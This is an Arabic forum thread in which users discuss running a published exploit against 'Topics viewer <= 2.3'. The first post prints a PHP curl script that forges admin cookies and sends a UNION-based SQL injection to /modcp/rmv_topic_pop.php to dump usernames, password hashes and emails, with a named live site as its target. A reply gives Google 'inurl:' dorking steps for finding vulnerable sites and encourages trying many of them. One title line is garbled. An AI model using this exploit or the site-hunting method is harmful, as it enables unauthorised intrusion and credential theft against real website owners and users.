[استفسار] حول ثغرة Topics viewer <= 2.3 Authentication Bypass & SQL Injection

[Abo MalaK]

السلام عليكم ورحمة الله وبركاته

المهم

حصلت ثغره جديده توها نزلت
http://pastebin.com/KqFCfyc3
فهمت تقريبآ 60%

class="smallfont">اقتباس <? $host="http://www.el3drabyad.com/"; //ضع الموقع المصاب بدل هذا الموقع واستعرض الملف من المتصفح $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $host."/modcp/rmv_topic_pop.php?id=-1+/*!union*/+/*!SELeCT*/+1,group_concat(u_name,0x3a,u_mpass,0x3a,u_email), 3,4,5,6,7,8,9,10,11,12+/*!frOm*/+users--"); curl_setopt($ch, CURLOPT_******, "admin=ahwak2000;mod=ahwak2000;"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); $buffer = curl_exec($ch); if(strpos($buffer,"style.css")) { echo "<br> [-]---------------------------------------------[-]<br>"; $reg = '#<li .*>.*:(.*?)؟</span></li>#Us'; preg_match($reg,$buffer,$ahwak); $s1=explode(",",$ahwak[1]); $i=1; foreach($s1 as $ayrik){ print "<br> <b>[$i] ".trim($ayrik)."</b><br>"; $i++; } echo "<br> [-]---------------------------------------------[-]<br><b><font color=red>z.u5@hotmail.com</font></b>"; } ?>

طيب هذا الاستغلال تمام،!!
الي مافهمته هل استعرضه بمتداد html>?
+
دوركت لها لاني حآولت بها ماقدرت
+
كيف اعرف هل الموقع مصاب بالثغره ام لا

بنتضآركم

المصدر: :: vBspiders Professional Network ::

---

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC p,g eyvm Topics viewer <= 2>3 Authentication Bypass & SQL Injection

[mido868]

اقتباس المشاركة الأصلية كتبت بواسطة Abo MalaK السلام عليكم ورحمة الله وبركاته المهم حصلت ثغره جديده توها نزلت http://pastebin.com/KqFCfyc3 فهمت تقريبآ 60% طيب هذا الاستغلال تمام،!! الي مافهمته هل استعرضه بمتداد html>? + دوركت لها لاني حآولت بها ماقدرت + كيف اعرف هل الموقع مصاب بالثغره ام لا بنتضآركم

اكيد اخى العزيز الموقع ينتهى مثل هذا
.php?id=

ثانيا الاسكربت المصاب الذى ستبحث عنه
/modcp/rmv_topic_pop.php?

ويمكنك ان تقوم بعمل التالى
inurl:
ثم تضع بعدها اسم الاسكربت المصاب فى محرك البحث جوجل ثم تبدأ بالاختبار على عدة مواقع
وملحوظة لا تيأس اذا وجدت عديد من المواقع تم ترقيع الثغرة منها واستمر فى المحاولة وتذكر دائما ان الصبر احد الاركان الاساسية للنجاح

[Abo MalaK]

شآكر لتفاعلك ،

بس الدوركت مستحيل يكون

/modcp/rmv_topic_pop.php?

لآن ماطلع ولا موقع،

بعدين الاستغلال هل احفظ الثغره بصيغة html واستغل؟

[Abo MalaK]

الآستغلال لحد الآن ماوصلت له،

هل اعدل على كود الثغره ام انفذ امر
php rmv_topic_pop.php site.com/path/

؟